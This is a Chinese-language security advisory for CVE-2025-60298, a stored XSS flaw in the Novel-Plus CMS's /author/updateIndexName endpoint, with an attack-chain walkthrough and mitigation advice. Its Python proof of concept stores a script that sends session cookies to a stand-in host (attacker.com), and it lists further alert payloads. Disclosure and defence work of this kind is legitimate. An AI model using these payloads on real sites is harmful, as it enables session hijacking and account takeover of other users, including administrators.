IPBUF安全漏洞报告
English
CVE-2025-60298 CVSS 5.4 中危

CVE-2025-60298:Novel-Plus存储型XSS漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-60298
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Novel-Plus

相关标签

Stored XSS跨站脚本攻击Novel-PlusCMSJavaWeb应用漏洞中危漏洞CVE-2025-60298内容管理系统存储型XSS

漏洞概述

CVE-2025-60298是Novel-Plus内容管理系统(CMS)中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞影响Novel-Plus 5.2.4及以下版本,CVSS评分为5.4,属于中等严重等级。Novel-Plus是一个基于Java开发的小说内容管理系统,广泛用于在线小说发布与管理平台。该漏洞位于系统的/author/updateIndexName接口中,攻击者可以通过该接口的indexName参数注入恶意的JavaScript代码。由于该输入未经充分的过滤和转义处理,恶意脚本会被存储到数据库中,当其他用户(尤其是管理员)查看受影响的书籍章节时,存储的恶意脚本将在受害者浏览器中执行,从而实现会话劫持、cookie窃取、钓鱼攻击或权限提升等恶意行为。此漏洞的成功利用需要攻击者具备低权限认证(PR:L),并且需要用户交互(UI:R)来触发恶意脚本的执行,属于典型的存储型XSS攻击模式。漏洞的存在不仅威胁普通用户的数据安全,还可能对系统管理员账户造成严重危害,进而影响整个平台的完整性和机密性。

技术细节

Novel-Plus的/author/updateIndexName接口用于更新书籍章节的索引名称(indexName),该接口接收用户提交的indexName参数并将其存储到数据库中。然而,在处理该参数时,系统未对用户输入进行充分的HTML实体编码或过滤,导致攻击者可以注入任意JavaScript代码。

漏洞利用的核心原理如下:
1. 攻击者首先通过合法途径获取Novel-Plus系统的低权限作者账号(PR:L)。
2. 攻击者构造包含恶意JavaScript代码的payload,例如:<script>alert(document.cookie)</script>或更复杂的窃取cookie并发送到攻击者服务器的代码。
3. 攻击者通过POST请求向/author/updateIndexName接口提交包含恶意payload的indexName参数。
4. 服务器将恶意代码存储到数据库中,与对应的书籍章节关联。
5. 当其他用户(特别是管理员)访问该章节页面时,服务器从数据库中读取indexName值并直接渲染到HTML页面中,浏览器解析执行其中的恶意脚本。
6. 恶意脚本在受害者浏览器上下文中执行,可以窃取会话cookie、进行钓鱼攻击、劫持用户会话或执行其他恶意操作。

由于该漏洞是存储型XSS,恶意代码会持久化存储在数据库中,影响范围广且持续时间长。CVSS向量中的S:C(Scope Changed)表明漏洞利用可能影响超出其原始权限范围的组件,增加了漏洞的危害程度。

攻击链分析

STEP 1
步骤1:获取认证凭证
攻击者通过注册或其他方式获取Novel-Plus系统的低权限作者账号(PR:L),获得系统访问权限。
STEP 2
步骤2:构造恶意Payload
攻击者精心构造包含恶意JavaScript代码的XSS payload,如窃取cookie的脚本或钓鱼页面注入代码。
STEP 3
步骤3:注入恶意代码
攻击者通过POST请求向/author/updateIndexName接口提交包含恶意payload的indexName参数,恶意代码被存储到数据库中。
STEP 4
步骤4:等待受害者触发
当其他用户(特别是管理员)浏览受影响的书籍章节页面时,服务器从数据库读取并渲染indexName值。
STEP 5
步骤5:恶意脚本执行
浏览器解析并执行存储的恶意JavaScript代码,窃取用户会话cookie或执行其他恶意操作。
STEP 6
步骤6:权限提升或数据窃取
攻击者利用窃取的会话信息(特别是管理员cookie)进行权限提升,访问敏感数据或进一步控制系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-60298 - Novel-Plus Stored XSS PoC # Vulnerability: Stored XSS via /author/updateIndexName endpoint # Parameter: indexName TARGET_URL = "http://target-novel-plus.com" LOGIN_URL = f"{TARGET_URL}/author/login" UPDATE_URL = f"{TARGET_URL}/author/updateIndexName" # Step 1: Login as authenticated author user session = requests.Session() login_data = { "username": "author_user", "password": "author_password" } session.post(LOGIN_URL, data=login_data) # Step 2: Craft malicious XSS payload via indexName parameter # The payload will steal session cookies and send to attacker's server xss_payload = '<script>var i=new Image();i.src="http://attacker.com/steal?c="+document.cookie;</script>' # Step 3: Send the malicious payload to the vulnerable endpoint update_data = { "indexName": xss_payload, # Additional parameters may be required based on the application logic "bookId": "1", "chapterId": "1" } response = session.post(UPDATE_URL, data=update_data) print(f"Status Code: {response.status_code}") print(f"Payload stored successfully. XSS will trigger when victim views the chapter.") # Alternative payload for demonstration: # <script>alert('XSS-CVE-2025-60298')</script> # <img src=x onerror=alert(document.cookie)> # <svg onload=alert(1)>

影响范围

Novel-Plus <= 5.2.4

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)对/author/updateIndexName接口的indexName参数实施服务端输入过滤,拒绝包含HTML标签和JavaScript代码的特殊字符;2)在前端展示层面对输出内容进行HTML实体编码转义处理;3)部署Web应用防火墙(WAF)规则,拦截常见的XSS攻击payload;4)为所有会话cookie设置HttpOnly属性,阻止JavaScript访问;5)实施Content Security Policy(CSP),限制内联脚本执行;6)监控异常的书签名称提交行为,及时发现和清理已注入的恶意内容;7)限制作者账号权限,避免低权限账号能够影响其他用户查看的内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表